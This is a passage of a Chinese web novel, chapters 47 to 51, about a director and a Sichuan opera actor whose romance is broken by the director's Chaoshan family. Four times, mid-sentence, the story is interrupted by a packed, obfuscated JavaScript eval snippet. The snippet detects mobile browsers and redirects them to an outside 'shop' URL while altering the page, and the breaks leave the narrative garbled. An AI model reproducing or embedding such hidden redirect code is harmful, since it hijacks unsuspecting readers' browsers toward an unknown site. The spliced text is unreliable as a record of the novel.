他的目光越过陈声和肩膀,先看了眼还在微微发热的放映机,又落到旁边那盒胶片盒上,边角都磨得起毛了,一看就没少反复折腾。 “陈导这是……怀旧?” 陈声和伸手要去关放映机,动作太急,碰倒了旁边的水杯。水在台面上漫开,很快浸湿了鼠标。 李霄川把烟掐了走进来,从打印机那边抽了张A4纸按在积水上。 这个动作让他不得不俯身,陈声和看见他后颈露出一截白色膏药边角。熟悉的香水味飘过来,和学生时代用的一模一样,连前调里的柑橘香都没变过。 “为什么哭?”他轻声问。 陈声和张了张嘴,发不出声音。他的视线落在李霄川的右手腕,那里也有道伤疤,前两天外景拍摄时摔的。 李霄川顺着他的目光看去,嘲弄一笑:“早不疼了。” 他把母带放进陈声和怀里,磁带盒上贴了张新的便利贴:【这次没虚焦】 “陈导,”李霄川直起身时影子笼罩下来,袖口轻轻擦过陈声和的耳尖,“这次拍清楚了没有?” 陈声和抱紧磁带,塑料棱角硌在胸口。他想说对不起,想说我很想你,最后却只点了点头,鼻尖蹭到便利贴边缘,闻到淡淡的烟草味。 李霄川看了他好一会儿,突然伸手揉了揉他的头发,就像大学时每次安慰他那样。 “早点休息吧,身体搞坏了,得奖有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005888|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么用。” 转身时一阵穿堂风吹进来,剪辑台上有页纸轻轻掀了起来。 陈声和独自坐在放映机的光线里,听着脚步声在走廊尽头渐渐消失,经过安全出口时,应该会踩到那块总是吱呀响的地砖。 他慢慢揭开便利贴,胶水粘得太紧,发出细微的撕拉声。 背面还有一行小字,钢笔写的,墨迹有点被蹭花了: 【我还在等你的答案】 …… 熬夜剪片子是陈声和这几年常有的事情,这个班底刚开始只有几个人,什么都要他亲力亲为。 后来进了华央,班底扩大,他这才减轻了一些负担。 但关于李霄川的一切,他都要亲力亲为,不管是因为李霄川那句“我只信他”,还是他们之间的过往。 因为只有他真的懂李霄川的“戏”。 陈声和把脸埋进掌心,用力搓了搓发僵的面颊。监视器的亮光在昏暗的棚里特别刺眼,他眨了眨酸涩的眼睛。 画面里,李霄川正在排练《白蛇传》的水斗一折。蓝白相间的戏服随着腾跃动作翻飞,衣袂扬起时露出腰间系着的红绸带。 如果没记错,那还是没分开时他送的,那抹红色已经褪成了浅粉,边缘还有些抽丝,可李霄川仍然系着它排练。 也不知道是不是故意的。 连续工作十二小时后,他的视线开始不受控制地聚焦在那个特写镜头上:李霄川被汗水浸透的后背,戏服紧贴着皮肤。 大二时李霄川为了给他摘枇杷从树上摔下来过,当时他吓得什么心都快跳出来了,可这人还笑着问自己枇杷甜不甜? “陈导?”林瑶碰了碰他的保温杯,“李老师的姑姑请剧组吃火锅,说务必请您赏个脸。” 陈声和拧开杯盖,里面的凤凰单丛已经凉了,茶叶沉在杯底,像一些被浸泡太久的旧事。 他想起第一次被李霄川拽去他姑姑店里吃火锅,辣得他眼泪直飙。李霄川一边笑他,一边手忙脚乱地灌他大麦茶,说这个解辣。 后来才知道,大麦茶根本不解辣,再后来,他们自己捣鼓出了一杯真正能压住辣味的“神仙水”。 陈声和目光往窗外落,暮色渐浓,锦江上碎光摇晃。 大二那年,李霄川就是在这条河边,把发烫的额头抵在他颈窝里,闷着声音问:“是不是当你们潮汕女婿,都得会泡工夫茶?还得学拜神啊?” 那天的江风也像现在这样,凉丝丝的,带着成都独有的潮湿气息。 “……陈导?” “你跟姑姑说,我……” “陈导。” 一只沾着油彩的手突然压上他的手机屏幕,青色的痕迹晕开一片。 李霄川不知什么时候已经站在他面前,妆卸了一半,左眼还勾着青蛇的黛青色眼线,右眼却已经干净地露出原本的轮廓。 像一半戏,一半人生。 陈声和本能往后一退,后颈撞上折叠椅冰凉的支架。 “我姑姑那家店,”李霄川抬手抹了把快流进眼睛的汗,指腹上蓝的绿的混成一片,“拆了。” 林瑶在一旁深深吸了一口气,手里的场记板差点掉在地上。 整个剧组合作到现在,谁都知道这位川剧名角对导演说话总是带着刺,可没人明白为什么向来严厉的陈导每次都会安静地接下这些刺,就像接住别人看不见的馈赠。 “……新店在哪?”陈声和问他,手指抠着保温杯上磕碰出的凹痕。 “东郊记忆。”李霄川俯身靠近,“现在有鸳鸯锅了。” 陈声和的手指一顿。 李霄川居然还记得他当初喝醉后那句“要是姑姑店里有鸳鸯锅就好了”的醉话。 那时候他们都天真地以为,只要火锅能变成鸳鸯的,他们之间就再没什么不能融在一起的滋味。 48.你什么时候能选我一次 结束工作后,陈声和还是去了。 火锅店的招牌在雨夜里闪烁,他踩过水洼,倒映的霓虹光斑在鞋底碎成一片。 他站在门口,看着玻璃窗上凝结的水汽,恍惚看见两个依偎的剪影:二十岁的自己正被李霄川捏着鼻子灌特调的花椒啤酒,辣得直往对方怀里钻。 “杵在门口干啥子?进来噻!” 穿绛红色旗袍的女人一把拉开门,热腾腾的蒸汽和麻辣香气香气扑面,陈声和被熏得后退半步,后腰磕在门边的外卖架上。 李红梅几乎没变样,只是盘起的发髻里掺了几绺银丝,手腕上那对苗银镯子叮当作响,还是那么晃眼。她手里攥着记账的圆珠笔,笔帽上的小绒球随着动作直晃悠。 “姑姑好。”陈声和下意识鞠躬,膝盖撞上门口那只超大号的招财猫。瓷猫手里“财源广进”的卷轴响了一声。 这个动作让正在挂外套的李霄川背影明显一滞。 当年他第一次带陈声和见家长,这个潮汕男孩也是这样,对着火锅店油腻的瓷砖地行了标准的九十度礼,起身时刘海还粘了片吧台上放着的香菜叶。 滑稽的可爱。 “哎哟,陈导演还是这么乖!”李红梅的四川话像爆炒的辣椒籽噼里啪啦炸开,银镯子磕在门把手上当啷一响,“我们家川娃这五年……” “姑姑!”李霄川猛地打断,手里的牛仔外套掉在地上,钥匙串从口袋滑出来,陈声和一眼认出那个褪色的潮汕木雕小鱼钥匙扣。 他弯腰去捡,余光看见李霄川运动鞋的鞋带,还是那种复杂的双重结。 有次他们露营时自己跪在帐篷里,手把手教他系了十几遍,最后这人耍赖说学不会,用登山绳把他们手腕系在一起。 这座城市太大了,大到每条街都藏着回忆。陈声和觉得自己像被困在蛛网里的飞虫,挣不脱,逃不掉。 包间里挤满了剧组的人,空调呼呼地吹着,出风口系着的红布条不停晃动。 鸳鸯锅在电磁炉上咕嘟咕嘟地冒着泡,红汤那边漂着厚厚一层花椒,清汤里浮着几颗枸杞红枣。 他习惯性地把椅子往清汤那边挪了挪,木腿刮过地砖,发出刺耳的声响。 “陈导现在不是挺能吃辣了吗?”李霄川突然笑着开口,声音不大,却让整个包间瞬间安静下来,“朋友圈里不还晒过九宫格?” 林瑶看见自家导演的脸色一下子白了。 去年拍《辣味人间》的时候,陈声和确实硬着头皮吃了最辣的火锅。有次收工后,他蜷在卫生间吐到凌晨,最后还是林瑶硬把他拖去医院挂了三天水。 可她不知道的是,那条仅对一个人可见的朋友圈,配文是: 【终于能承受你故乡的味道】 你看,有些人就是这样,嘴上说了再见,联系方式删得干干净净,却把对方刻进了骨子里。 连一句说不出口的想念,都要这样小心翼翼地,藏在一个看似公开的角落里。 “吃不得也没关系噻,尝尝这个。”李红梅夹起一片毛肚放进陈声和碗里,“特意为你调的,尝尝符合你们广东人说的煲汤不。” 陈声和看着翻滚的麻辣汤,夹起一片毛肚涮了涮,毛肚在香油碟里打了个滚,咬下去的瞬间,熟悉的麻辣感在舌尖炸开。 不是记忆里让他流泪的剧痛,而是经过特殊处理,刚好能让他承受的辣度。 他抬头看向李霄川,对方正把玩着那个朱泥手拉壶,指腹反复摩挲壶嘴的弧度。 那是他们确认关系后来李红梅火锅店吃饭,送给姑姑的礼物,是他特意托潮州朋友定制的。 很贵,当时李霄川心疼他用生活费的钱来买这套茶具,说以后见他家人,一定买更好的。 “茶壶嘴对客,大忌。”李霄川轻声和剧组的人闲聊,眼睛却盯着陈声和腕间的旧伤疤。 大三夏天,陈父来成都,就因为那句关于潮汕茶礼的禁忌,让本该温馨的见面,成了一场谁都不愿回忆的灾难。 陈声和的筷子握不住直接掉在了桌上。 满桌人都看见导演猛地站起身,却没人听见他牙齿在发颤的声音。 “抱歉,”他声音有点哑,“我去趟洗手间。” 他几乎是逃进了洗手间里,冰凉的水流冲在手上时,陈声和才注意到自己的指节攥得发白,腕骨凸起的部分在微微发抖。 镜子里的人眼眶通红,所有情绪却都被死死按在平静的表象之下。 他想起那时李霄川一送他到机场安检口,什么也没说,只把一张变脸用的脸谱塞进他手里。想起背面是那人匆忙写下的三个字,可自己却软弱的不敢回应。 直到五年后重逢,他依旧不敢面对,想逃离,又舍不得。 隔壁隔间传来抽水马桶的轰响,陈声和几乎是条件反射地,从口袋里摸出口罩戴上,动作快得像是一种本能。 洗手间门被推开,一缕清冽的柑橘调须后水气味先飘了过来。他甚至不用抬头,整个人就已经被笼进那片熟悉的阴影里。 李霄川总是这样,连脚步声都听不见,就无声无息地,占满他周围所有的空气。 “你姑姑,”陈声和往后挪了半步,后腰抵上大理石材质的洗手台边缘,“当年她给你那包汉源花椒……” “我后来在戏服箱里发现了,”李霄川伸手撑在台面上,袖口蹭到未干的水渍,“蛀空了那件白蟒袍,三万多,团里让我赔了。” 陈声和睫毛颤了颤。 那包花椒他走的时候装了一些带走了,后来一直藏在枕头下,失眠最凶的那阵子,他曾经偷偷把花椒粒含在舌根,用麻痹感压住深夜想打电话的冲动。 “现在酒量练出来没?”李霄川晃了晃手里的易拉罐啤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005889|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒,“以前一杯啤酒就……” “李老师。”陈声和打断他,喉结动了动,声音哑得自己都陌生,“我们只是工作关系。” “工作。”李霄川重复这个词,忽然用虎口卡住他下巴扯下口罩,“那为什么不敢看我?” 镜子里映出两张伤痕累累的脸。 陈声和这才注意到李霄川右眉骨多了一道细疤,今天被粉底遮住,他都没发现什么时候弄的。 是了,武生要吊眉,化妆师肯定常抱怨这道疤碍事。 他张了张嘴想问,走廊里突然炸响林瑶带着哭腔的潮汕话:“陈导!您母亲连打三个电话,说叔叔摔了!” 陈声和急忙摸出手机,锁屏上躺着母亲五分钟前发的消息:【你爸在祠堂摔了,有时间抽空回来一趟】。 底下还有条来自大伯的未读语音。 “……我得走了。”陈声和去推李霄川,手腕却被攥得更紧。 “又是家里。”李霄川声音压得极低,指腹按在他腕内侧那个茶疤上,发觉这个人身体烫的厉害,“五年了,陈声和,你什么时候能选我一次?” 陈声和僵在原地,他听见自己心跳震耳欲聋,盖过了洗手间嘀嗒的水声。 分手前那晚,李霄川收到省川剧院录取通知时也说过同样的话。 当时窗外在下雨,他跪在地上收拾行李,李霄川把通知书撕成两半,又一片片粘好:“我选你,你呢?” “放开……” 陈声和慌张挣扎间,袖口蹭到洗手台边不知谁用过的烫发器。 三百度的金属面板灼伤皮肤的时候,他恍惚听见五年前那个雨夜,自己跪在出租屋楼道里对电话那头的母亲说:“妈,我分手,我回家结婚。” 剧痛窜上神经,他整个人已经悬空了。 李霄川抱他的姿势依旧很熟悉,只是现在托着他膝弯的手在抖,抖得他听见对方钥匙串上变脸娃娃挂件的撞击声。 “医生!叫医生!”嘶吼声震得火锅店鱼缸里的黑鱼乱窜。 陈声和在眩晕中看见姑姑打翻的油碟正顺着桌布滴落,看见林瑶掉在地上的手机屏幕还亮着。 最后他看见自己蜷缩的手掌,自虐烫出来的疤痕和新伤重叠,此刻正渗出组织液。 “……没事的。”陈声和用潮汕话轻声说,不知道是在安慰李霄川,还是在说服自己。 李霄川猛地僵住。他低头看着怀里的人,看着这个曾经用同种方言在耳畔说“我在这”的潮汕男孩,眼眶红得像火锅里翻滚的辣椒。 “莫要怕,”李霄川用四川话回应,“没得事。” 这一刻陈声和终于崩溃了一样,顾不得手上的痛,揪住他的衣领,把脸埋进那个曾经属于他的怀抱。 店里鸳鸯锅的蒸汽在玻璃上凝结成水滴,如同他们错过的那些年,所有没能流尽的眼泪。 49.但爱你是我先说的 潮汕的朱泥茶具蹲在成都出租屋的玻璃茶几上,像一尊远道而来的神龛,在这片自由的空气里显得格格不入。 陈声和第N次调整茶壶角度,壶嘴最终偏向东南,不能正对客位,这是潮汕工夫茶的大忌,父亲最在意的规矩。 上周视频时父亲还提过,茶壶摆错方向,就是没把客人当自家人。 李霄川靠在厨房门框上看他忙活,手里转着刚拆封的凤凰单丛,塑料包装哗啦作响。 “至于吗?”他趿拉着拖鞋走近,下巴搁在陈声和肩上,呼吸扫过他耳后,“你爸还能因为壶嘴方向不认你这个儿子?” 陈声和却没笑。 他的食指卡在紫砂壶流口,釉面凉得像他此刻的脊背:“会。” 李霄川的笑容僵在脸上。茶叶被扔在茶几上,他扳过陈声和的肩膀,发现对方睫毛在轻微发抖。 “声和?” “我爸明天中午到。”陈声和突然说,“他看了我朋友圈,说想见见……我常提到的那个戏曲社学长。” 李霄川眼睛亮起来,手指刚要收紧…… “我没出柜。”陈声和打断他,声音低的快要听不见了,“只说你是很重要的朋友。” 沉默漫过客厅,空调滴水声砸在接水盘里。 李霄川松开手,转身去烧水,不锈钢壶砸在电磁炉上咣当一响。 “朋友。”他重复这个词,滚水冲进盖碗,烫出一室茶香,“行啊,那就让你爸看看,他儿子在成都交了个多好的朋友。” 这个四十平的一居室是他们大二下学期租的,押一付三刷了李霄川的卡。 此刻衣柜里两人的衣服还混在一起,陈声和的亚麻衬衫压着李霄川的戏服水衣。 …… 第二天,李霄川穿了件挺板正的休闲白衬衫,袖口卷到小臂,露出陈声和送他的红绳,底下拴着枚小小的潮汕金漆木雕鱼。 从前他们就是这样,用带着各自地域印记的小物件来表达爱意。你赠我一串川红的南红手链,我回你一枚潮汕的镶金木鱼。 如今看来,这举动实在稚气,甚至有些俗气。 可那物件贴在皮肤上的温度,却总在不经意间提醒他,曾有人那样认真地将一颗心,笨拙地捧到他面前,让他此后经年,一想起来就心尖发烫。 少年时代的爱情呐,不染杂质,纯粹得发亮。 陈声和接机时盯着那截手腕,喉结动了动,最终也没说什么。父亲的身影刚出现在闸口,他就条件反射退开半步。 “爸!”他几步过去接过印着航空托运标签的行李箱,主动笑着介绍,“这位是李霄川,我学长,专业课和社团都帮了我很多。” 陈父五十出头,眉眼和陈声和一样温润,只是目光看起来挺有分量的。他扫了眼李霄川伸过来的手,掌心还有练功留下的茧子,微微点头就算握过。 “听声和说,你唱戏的?” “川剧武生。”李霄川脸不红心不跳,笑得还是那么妥帖,“叔叔累了吧?我在玉林路订了家潮汕菜,咱们先去垫垫肚子?” “开在成都的潮汕菜,能叫潮汕菜?”陈伟杰轻轻一笑,转头就看向自己儿子,“住哪儿?” 陈声和喉咙发干:“就学校旁边那个公寓,一居室的……” “你同学也住那儿?” 李霄川笑呵呵地接话:“我住剧团宿舍,今天是特地过来陪叔叔吃顿饭的。” 他边说边把手背到身后,偷偷捏了陈声和后腰一把,摸到一手湿冷的汗。 走在前面的陈父忽然回头,眼神跟刀子似的,正正落在李霄川还没来得及收回去的手指上。 去餐厅的一路,气氛沉闷得吓人。直到在包间里落座,陈声和都没敢和李霄川对视。 李霄川特意点的卤鹅拼盘端上来,几乎没人动筷。 陈伟杰一身西装笔挺坐在主位,那一身打扮,李霄川悄悄估了个价,没六位数下不来。 这跟他平时接触的那些广东人,感觉完全不一样。 陈声和从来没细聊过家里的事,就提过一句“家里做茶叶生意的”,轻描淡写,像在说别人家的事。 但李霄川也不是那种没心眼的人。四川人去广东打工的多了去了,他姑姑姑父年轻时候也待过。 虽说他没亲眼见过,但耳朵里早就灌满了那边的门道。 陈伟杰用筷子尖拨了拨盘里的鹅肉,眉头一蹙:“鹅肝呢?” “这家……可能切法不太一样?”李霄川额角冒汗,手指抠紧了桌布边。 “潮汕卤鹅哪有不带肝的?就像川剧离不了变脸。”陈伟杰撂下筷子,金属筷头碰在瓷盘上,发出一声脆响。 “小李,你学戏几年了?” “十二年。” 陈伟杰往后一靠,双手交叠放在腿上,腕表反射的光晃过李霄川的眼睛:“能养活自己吗?” 陈声和猛地抬头:“爸!” 李霄川在桌下按住他膝盖,力道很轻:“省剧团已经给我发offer了,月薪六千,加上商演能过万。” 陈伟杰“嗯”了声,从包里掏出套茶具:“声和,泡茶。”茶具是家里那套老物件,壶身刻着陈记二字。 陈声和手指发僵。 以前在老家,父亲谈生意总爱带着他。这套茶具,是父亲谈大买卖时才请出来的,既是压价的前奏,也像一种无声的审判。 第一泡茶汤橙红透亮。 陈伟杰抿了一口,喉结一动,随即放下杯子:“太急,水老了。” 李霄川忽然伸手:“叔叔,要不让我试试?” 陈声和猛地看向他。 李霄川从没碰过潮汕茶具,可那人已经接了过去,烫水高冲,茶叶在白玉令杯里翻飞,像绿蝶振翅。 “关公巡城。”他手腕一斜,茶汤均匀分入三杯,“韩信点……点兵?”最后一个字变调成疑问,因为陈伟杰的脸色已经铁青。 李霄川心里一紧,壶嘴正对向了客位。这是潮汕茶桌的大忌。 陈声和看见父亲的嘴角瞬间压了下去。 “爸,他不懂这个。”他伸手去接茶壶,手指碰到李霄川的手背,触到一片滚烫。 陈伟杰抬手一挡,茶船应声翻倒,沸水泼在李霄川手背上,瞬间红了一片,眼看着就肿了起来。 “潮汕人最重礼数。”他盯着儿子说着潮汕话,声音不疾不徐,“你交朋友,连这个都没教?” 李霄川却听懂了大概,甩着手,嘴角扯出笑,连忙道歉:“叔叔教训得对,对不起,我这就……” “爸,他是我……” “学长而已。”李霄川脱口而出打断了陈声和,他的茶杯停在半空,一滴茶汤坠在桌布上,像一颗小小的血珠。 “不算很重要的人。”他那样补了一句。 陈伟杰走的时候,那套茶具还摆在茶几上。 “你妈心脏不好。”他在车前停下,将手机和包递给司机,“下个月家里有喜事,记得回来。” 粤+FV车牌的S580开走的时候带起一阵风, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005890|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾气味、晒化的沥青味全部扑了过来。 陈声和还愣在原地,手里紧紧攥着父亲落下的降压药。 李霄川从后面环住他,手刚贴上去就愣了,咚咚咚的,震得他手心发麻。 “刚才差点被你吓死,”李霄川把下巴抵在他肩头,语气里还带着劫后余生的笑意,胳膊却箍得更紧了,“不是说好先瞒着吗?” 陈声和转身把脸埋进他肩窝,呼吸间全是花椒的辛烈和他身上未散的茶香。 “壶嘴……”他闷声说,手指揪住李霄川的衬衫下摆,“你是故意的。” 李霄川没否认,手指轻轻摩挲着他后颈。那儿已经湿漉漉的了,细软的头发黏在皮肤上。 这层窗户纸,总得有人去捅破。 可每当陈声和鼓起勇气,眼神里透出那豁出去的决绝时,李霄川就先退却了。他仿佛已经看到陈声和与家人决裂后,痛苦的模样。 算了。 他舍不得。 那是陈声和的父母,是生他养他的根和来处,用所爱之人的家庭幸福换来自己的圆满? 他自己都是个没人要的孩子,再让恋人和父母反目成仇,这样有撒子意思,太没意思了。 他宁可自己疼,也见不得陈声和受那种煎熬。 回去的公交车晃晃悠悠,陈声和一直盯着窗外发呆。李霄川轻轻捏了捏他的手,冰凉冰凉的,像刚从冰箱里拿出来。 回到公寓门口,李霄川刚把钥匙插进锁孔,陈声和的手机就响了。 来电显示是陈伟杰的司机。 “喂?” “阿和,杰哥晕过去了!” 陈声和转身就冲向电梯,李霄川在后面喊“钥匙”,他已经拐进安全通道了。咚咚咚的脚步声在楼梯间回荡,李霄川赶紧追了上去。 那天真是糟糕透了,医院走廊的灯光刺得人眼睛发痛。 陈声和缩在塑料椅子上,手术室门口那个红灯迟迟不灭,让他悬着的心始终不敢放下。 李霄川递给他一杯热水,接过去的时候水晃得厉害,几滴溅在手背上,很快就红了一小片。 “医生说是应激性心绞痛,不是心梗。”李霄川蹲下来,手搭在他膝盖上,温热的触感透过牛仔裤传过来,“我托朋友问了,他叔叔就在华西,放心,现在支架手术很成熟……” “他包里一直备着硝酸甘油。”陈声和突然打断,眼睛盯着自己发抖的手指,“早就出问题了,一直瞒着我。” 李霄川看着他手机屏幕亮起,“阿妈”两个字跳入眼睑。陈声和直接关了机,指甲用力撬开SIM卡槽,啪的一声,小小的卡片在他手里断成两截。 “你……” “她在潮汕照顾阿嬷,两个人都经不起吓。”陈声和声音轻轻的,“我爸有医保卡,用我的名字挂号就行。” 李霄川抬手扳过他下巴。陈声和这才发现自己在流泪,泪水砸在李霄川虎口的茧子上。 “听着。”李霄川拇指蹭过他眼下,抹出一道水痕,“你爸会没事,你妈不会知道,所有责任我担,就说是我气晕他的。” 陈声和用力摇头,眼泪直直砸在李霄川袖口,在白布料上晕开一个个深色的圆点:“壶嘴对客是我没提醒你……茶是我泡的……出柜的话头也是我起的……” “但爱你是我先说的。”李霄川把他紧紧按进怀里,陈声和的鼻梁撞上他锁骨,疼得眼眶发酸。 “别怕,乖乖。”李霄川的声音贴着他耳廓,“叔叔会没事的。天塌下来有我顶着。” 50.如果我求你选我呢? 就是这样的李霄川,有担当,重感情,认准了就不回头的坚决,让陈声和越陷越深。 他偶尔会恍惚,设想如果没有那个开学午后戏剧性的相遇,他们各自的人生会是什么样? 然而这念头刚冒尖,便被他自己狠狠掐灭。光是想象生命里没有李霄川,胸口就闷得喘不过气了。 他不知道,在李霄川看来,他陈声和才是更耀眼的那一个。 这个被潮汕宗祠与家族爱意浇灌长大的少爷,明明拥有通往一切坦途的通行证,却偏偏愿意为他踩进泥水里,学会了隐忍与挣扎。 他那么好,干净、明亮,让李霄川所有笨拙的坚守,都显得意义非常。 可爱就是件说不清的事。 它让骄傲的人低头,让谨慎的人勇敢,让两个截然不同的人,成了彼此生命里最妥帖的答案。 …… 手术室的灯灭了的时候,时针已经指向凌晨了。 走廊里全是消毒水的味道。陈声和低头盯着自己鞋尖上干了的泥点,正愣着神,护士推着病床出来了。 陈伟杰被安排在普通病房最里边那张床。氧气面罩上的雾气一会儿深一会儿浅,心电监护仪的线从蓝白条病号服下面弯弯曲曲地伸出来。 麻药劲儿还没全过,他脸上松垮垮的肉把法令纹衬得更深了,鬓角刚长出来的白头发在灯底下特别显眼。 “冠状动脉有点窄,不过支架放得挺顺利。”主刀医生一把扯下口罩,脸上还留着勒出来的红印子。他看了看眼前两个年轻人,把签字板递过来,“家属确认一下手术记录。” 陈声和接过笔才发现自己手心全是汗,签字栏上晕开一小片水迹。写“陈”字的时候手抖得不行,最后一笔拉得太长,差点把纸给划破了。 李霄川站在他身后半步远的地方,看见陈伟杰眼皮轻轻动了一下。他伸手搭在陈声和肩上,力道轻轻的,手心却暖乎乎的:“我下楼抽根烟。” 说完转身就出去了,橡胶鞋底踩在走廊上,一点声音都没有。 “爸……”陈声和刚开口就被自己嗓子哑成那样吓了一跳。 病床上的人慢慢睁开眼,浑浊的眼珠一点点对焦。陈父突然抬手扯掉氧气面罩,留置针跟着晃了晃。 “不……逼你了。”陈伟杰喘气声跟破风箱似的,每个字都带着胸腔里咕噜咕噜的杂音,“但你……是陈家……独苗。” 他停了好半天,监护仪的滴滴声在安静的病房里格外响:“回潮汕……把婚结了……我就当……今天……没这回事。” 陈声和的目光落在父亲手背上,青色的血管周围全是针眼。 他看见父亲是指内侧有道发白的疤,那是他小时候打翻爷爷留下的朱泥壶,父亲空手去捡碎片给划的。 “爸。”他听见自己嗓子眼里挤出来的声音,“茶具我都收好了……壶嘴朝里。” 这答非所问的话让陈父闭上了眼,一滴水顺着他眼角的皱纹流进鬓角里。 …… 住院部后门的吸烟区,李霄川捏着刚买的娇子出神。打火机咔哒咔哒按了几下才燃,第一口就呛得直咳嗽。 他都戒烟两年了。 雨水顺着棚顶的铁皮边往下滴答,在水泥地上砸出一个又一个小水坑。 陈声和找到他的时候,看见垃圾桶边上散着三四根只抽了一口的烟。 李霄川正弯着腰干呕,最新扔下的那根烟头掉进积水里,“滋”地一声就灭了。 “住院押金我交好了,”李霄川直起身,随手用袖子抹了抹嘴角,“跟护士说我是你表哥。” 陈声和把SIM卡塞回手机里:“刚给我妈打了电话,说爸来成都开会,我得陪他跑几天项目,下周再回去。” “……哦。” 夜雨越来越大,李霄川那件湿透的白衬衫贴在身上,隐隐约约透出锁骨下面那根红绳。 那是陈声和之前特地给他求的平安符,这会儿看着,却像一道结了痂的伤口。 “省剧团那个offer,”陈声和盯着积水里晃动的霓虹灯影,“你之前不是说,这周得给人家答复吗?” “下周一签合同。”李霄川一脚踢开脚边的小石子,石子撞在铁栅栏上,“哐当”一声响,“你爸说得对,唱戏的……养不活一个家。” “我不是那意思!” “那你什么意思?”李霄川猛地转过身来,雨珠子挂在他睫毛上,要掉不掉的,“陈声和,我要的从来不是你的愧疚!” 雨幕中,陈声和看清了他通红的眼眶。 这让他想起文艺汇演,李霄川演《白蛇传》里的许仙,跪在雷峰塔前唱“妻啊”时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005891|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏妆都遮不住这样发红的眼尾。 明明是在戏里,可那份痛,是真的。 “你答应他们了,是不是?”李霄川的声音渐渐低下来,只有垂在身侧的手还在轻轻发抖,“相亲,结婚,传宗接代。” 雨声哗啦啦地填满了两个人之间的沉默。陈声和低下头,看着自己那双泡了水的球鞋,水正从鞋带孔里一滴滴往外渗。 回公寓的那段路,两人一前一后,始终隔着半步远。 脚步声在空巷子里响着,你一下,我一下。李霄川的衬衫被夜风吹得鼓起来,像只折了翅膀,却还想飞的鸟。 “陈声和。”李霄川突然站定,鞋子碾过地上半片枯叶。 陈声和转身时,看见路灯把李霄川的影子拉得很长,几乎要碰到自己的脚尖。他往后退了一些。 “如果我现在求你,”李霄川的声音轻得几乎被隔壁麻将馆的洗牌声盖过,“求你选我,你会怎么选?” 陈声和感觉有根鱼刺卡在喉间。他想起昨天母亲发来的语音,说祠堂已经刷了新漆,就等他带未婚妻回去祭祖。 夜风吹得他眼眶发涩,他眨了眨眼,看见李霄川的左手在身侧微微发抖。 李霄川低笑一声,眼里却没有一点笑意。 “算了,别回答。”他转身继续往前走,“我替你说,你选不了。” 夜晚的风轻轻吹过,地上的落叶就跟着跳起舞来,雨水打在上面发出沙沙的响声,听起来就像二胡的弦突然断了,那种声音既悠扬又有点儿凄凉。 第二天早晨,陈声和醒来时,发现李霄川已经不在公寓里。 茶几上放着一把钥匙,旁边是一张字条:【我回剧团了。钥匙你留着,想清楚了再来找我】 陈声和拿起钥匙,发现下面压着一张潮汕到成都的机票信息,日期是一个月后,正好是他家族里亲人结婚的那天。 机票背面写着一行字:【最后一次机会。如果你来,我等你。如果你不来…】 后面的字被水渍晕开了,模糊得看不清。 陈声和攥紧机票,想起昨晚李霄川最后说的那句话:“陈声和,你总是这样。明明怕得要死,却连承认的勇气都没有。” 窗外,成都的清晨艳阳高照,空气里飘着雨夜过后的土腥味,如同他们第一次见面那天的天气。 51.嗯?就这么恨我? 成都这深秋,太阳压根儿就见不着了。天灰蒙蒙地压着,也不知道它整天郁闷啥,感觉随时都憋着一场雨。 那湿气啊,不光往骨头缝里钻,也往陈声和心里钻。 陈声和这会儿正在临时剪辑室里,一遍遍看着上午拍的素材。屏幕上,李霄川武生扮相,正好定格在一个漂亮的亮相动作上。 他手指头不自觉地抬了抬,像是想去碰碰屏幕,又猛地缩了回来。 “导演!”林瑶突然推门冲进来,连门都忘了敲。她举着手机,声音压得低低的,却藏不住那着急:“您母亲到成都了,正往川剧院这儿赶呢!” 陈声和蹭地站起来,连耳机线被扯掉了都没察觉:“谁?” 他声音发紧,像是被人掐住了喉咙。 林瑶偷偷瞄了眼不远处的化妆室,声音更低了:“还……带着一位黄小姐。” 她把微信聊天记录怼到他眼前,最新一条明晃晃写着:带嘉雯一起去看阿和工作,给我个地址。 